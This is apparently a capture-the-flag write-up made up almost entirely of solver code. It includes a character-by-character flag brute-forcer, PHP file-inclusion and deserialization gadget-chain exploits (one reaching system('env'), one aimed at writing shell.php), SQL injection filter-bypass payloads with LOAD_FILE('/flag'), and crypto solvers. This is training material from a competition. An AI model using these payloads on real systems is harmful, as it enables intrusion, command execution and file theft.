LNJZCTF2025 WriteUp

a = ["01100110","01101100","01100001","01100111","01111011","01010100","01100101","01110011","01110100","01010100","01100101","01100001","01101101","01001000","01100001","01110011","01101000","01111101"]
#替换成自己的编码
b = ""
for i in a:
    c = int(i,2)
    b += chr(c)
print(b)

from bs4 import BeautifulSoup
import requests
 
url = "http://192.168.25.227:32807/"#填写你的网址
flag = ""
 
for i in range(30): #flag长度，短了可能搞不全
    for j in range(32,127):
        test = flag + chr(j)
        data = {"flag":test}
        html = requests.post(url,data=data)
        soup = BeautifulSoup(html.text, "html.parser")
        a = soup.find("p").text
        if a == "True":
            flag += chr(j)
            break
    print(flag)

<meta charset="utf8">
<?php
// 关闭错误报告
error_reporting(0);
//以get方式传参
$file = $_GET["file"];
//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

// 删除所有商品
document.querySelectorAll('.goods').forEach(e => e.remove());
 
// 等待300毫秒后触发胜利流程（模拟原逻辑）
setTimeout(() => {
    const str = difficult ? '困难模式' : '';
    const levelRecord = difficult ? 'king_difficult_level_record' : 'king_level_record';
    gameFinish(`恭喜你通过了${str}${selectLevel.innerText}\n用时${chronoscopeNum}秒`, 'audio/胜利2.mp3');
    const userInput = selectLevel.innerText;
    const xhr = new XMLHttpRequest();
    xhr.open('POST', '/ht.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = () => {
        if (xhr.status === 200) {    
            const response = JSON.parse(xhr.responseText);
            window.alert(response['message']);
        } else {
            console.error(`Request failed. Status code: ${xhr.status}`);
        }
    };
    xhr.onerror = () => {
        console.error('Error occurred during the request.');
    };
    xhr.send(`user-input=${encodeURIComponent(userInput)}`);
    const levelRecordArr = JSON.parse(localStorage.getItem(levelRecord));
    levelRecordArr[selectLevel.getAttribute('index')]++;
    localStorage.setItem(levelRecord, JSON.stringify(levelRecordArr));
}, 300);

<?php
error_reporting(0);
 
class Logger {
    public $log_file;
    
    function __wakeup() {
        if (strpos($this->log_file, 'php://') !== false) {
            die("Hacking attempt detected!");
        }
    }
 
    function __destruct() {
        if ($this->log_file) {
            file_put_contents($this->log_file, "Logged by admin!\n", FILE_APPEND);
        }
    }
}
 
class Admin {
    private $is_admin = false;
    private $log;
 
    function __construct() {
        $this->log = new Logger();
    }
 
    function __wakeup() {
        if ($this->is_admin !== true) {
            die("Unauthorized access!");
        }
    }
 
    function do_something() {
        if ($this->is_admin) {
            echo "Welcome, Admin!\n";
            system("cat /flag.txt");
        } else {
            echo "Permission denied!\n";
        }
    }
}
 
if (isset($_GET['data'])) {
    $data = base64_decode($_GET['data']);
    $obj = unserialize($data);
    
    if ($obj instanceof Admin) {
        $obj->do_something();
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?>

<?php
class Logger {
    public $log_file = "/var/www/html/shell.php";
}
 
class Admin {
    public $is_admin = true; // 必须是布尔值
    public $log;
}
 
// 构造对象
$payload = new Admin();
$payload->log = new Logger();
 
// 生成序列化数据
$exploit = base64_encode(serialize($payload));
echo "Exploit: " . $exploit . "\n";
?>

<?php
 
    highlight_file(__FILE__);
    class Fun{
        private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f,$p);
        }
    }
 
    class Test{
        public function __call($f,$p){
            echo getenv("FLAG");
        }
        public function __wakeup(){
            echo "serialize me?";
        }
    }
 
    class A {
        public $a;
        public function __get($p){
            if(preg_match("/Test/",get_class($this->a))){
                return "No test in Prod\n";
            }
            return $this->a->$p();
        }
    }
 
    class B {
        public $p;
        public function __destruct(){
            $p = $this->p;
            echo $this->a->$p;
        }
    }
 
    if(isset($_REQUEST['begin'])){
        unserialize($_REQUEST['begin']);
    }
 
?>

if(isset($_REQUEST['begin'])){
        unserialize($_REQUEST['begin']);
    }

$p = $this->p;
echo $this->a->$p;

public function __get($p){
    if(preg_match("/Test/",get_class($this->a))){
        return "No test in Prod\n";
    }
    return $this->a->$p();
}

private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f,$p);
        }

class Fun {
    public $func;
}
 
class A {
    public $a;
}
 
class B {
    public $p;
    public $a;
}

$fun = new Fun();
$fun->func = "system";

$a = new A();
$a->a = $fun;

$b = new B();
$b->p = "env";
$b->a = $a;

echo serialize($b);

<?php
class Fun {
    public $func;
}
 
class A {
    public $a;
}
 
class B {
    public $p;
    public $a;
}
 
// 构造对象链
$fun = new Fun();
$fun->func = "system";  // Fun->func 为 "system"
 
$a = new A();
$a->a = $fun;  // A->a 指向 Fun 对象
 
$b = new B();
$b->p = "env"; // B->p 为 "env"
$b->a = $a;    // B->a 指向 A 对象
 
echo serialize($b);

/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}

1'/**/UNION/**/SESELECTLECT/**/flag/**/FRFROMOM/**/secret.passwoorrd/**/#

1'/**/UNION/**/SESELECTLECT/**/grade/**/FRFROMOM/**/scoorre/**/#

1'/**/UNION/**/SELSELECTECT/**/LOLOADAD_FILE('/flag')/**/#

s = "内容"
decoded = bytes(s, "utf-8").decode("unicode_escape")
print(decoded)

5LqM6LeD5pif5rW35YyW6Zu25LiALCDlha3lkIjnu4/nuqzoh6rmiJDosJzjgII=

show vlan

conf    # 进入全局配置模式
int vlan1    # 进入 Vlan1 接口配置模式
no shutdown    # 启用 Vlan1 逻辑接口

v4 = dword_403020[10 * v1 + v2];

from Crypto.Cipher import ARC4
 
a = "cbd39d7278a3de82d1e0d8ea687849e0f31182"
c = "byGuoXiaoYao"
 
b = bytearray()
for i in range(0, len(a), 2):
    hex_value = int(a[i:i+2], 16)
    b.append(hex_value ^ 123) 
 
flag = ARC4.new(c.encode("utf-8")).decrypt(bytes(b)).decode(errors="ignore")
print(flag)

from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
import gmpy2
 
n = 21507386633439519550169998646896627263990342978145866337442653437291500212804540039826669967421406761783804525632864075787433199834243745244830254423626433057121784913173342863755047712719972310827106310978325541157116399004997956022957497614561358547338887866829687642469922480325337783646738698964794799137629074290136943475809453339879850896418933264952741717996251598299033247598332283374311388548417533241578128405412876297518744631221434811566527970724653020096586968674253730535704100196440896139791213814925799933321426996992353761056678153980682453131865332141631387947508055668987573690117314953760510812159
e = 3
c = 6723702102195566573155033480869753489283107574855029844328060266358539778148984297827300182772738267875181687326892460074882512254133616280539109646843128644207390959955541800567609034853
 
m = gmpy2.iroot(c, e)[0]  # 计算 c^(1/3)
plaintext = long_to_bytes(m)  # 转换为字节流
 
print("解密后的明文:", plaintext.decode(errors='ignore'))

def main():
    # 定义 14 个转轮（每个转轮均为 26 个大写字母组成的字符串）
    wheels = [
        "ZWAXJGDLUBVIQHKYPNTCRMOSFE",
        "KPBELNACZDTRXMJQOYHGVSFUWI",
        "BDMAIZVRNSJUWFHTEQGYXPLOCK",
        "RPLNDVHGFCUKTEBSXQYIZMJWAO",
        "IHFRLABEUOTSGJVDKCPMNZQWXY",
        "AMKGHIWPNYCJBFZDRUSLOQXVET",
        "GWTHSPYBXIZULVKMRAFDCEONJQ",
        "NOZUTWDCVRJLXKISEFAPMYGHBQ",
        "QWATDSRFHENYVUBMCOIKZGJXPL",
        "WABMCXPLTDSRJQZGOIKFHENYVU",
        "XPLTDAOIKFZGHENYSRUBMCQWVJ",
        "TDSWAYXPLVUBOIKZGJRFHENMCQ",
        "BMCSRFHLTDENQWAOXPYVUIKZGJ",
        "XPHKZGJTDSENYVUBMLAOIRFCQW"
    ]
 
    # 密钥序列（转轮重排顺序，转轮编号从 1 开始）
    key = [3, 2, 1, 5, 6, 4, 9, 7, 8, 12, 11, 13, 10, 14]
 
    # 根据密钥重排转轮
    wheels_reordered = [wheels[k - 1] for k in key]
 
    # 密文字符串（每个字母对应一个转轮）
    ciphertext = "BCHTSXWCRQSELG"
 
    # 解密：对于每个重排后的转轮，找到密文中字母在该转轮中的索引，
    # 然后明文字母取该转轮中索引位置 (index - 23) mod 26 的字母
    offset = 23  # 根据推导得到的偏移量
    plaintext = ""
    for i, wheel in enumerate(wheels_reordered):
        c = ciphertext[i]
        try:
            pos_c = wheel.index(c)
        except ValueError:
            print(f"Error: 字母 {c} 不在转轮 {i + 1} 中。")
            continue
        pos_p = (pos_c - offset) % 26
        p = wheel[pos_p]
        plaintext += p.lower()  # 转为小写，与目标结果一致
 
    print("解密结果：", plaintext)
 
 
if __name__ == '__main__':
    main()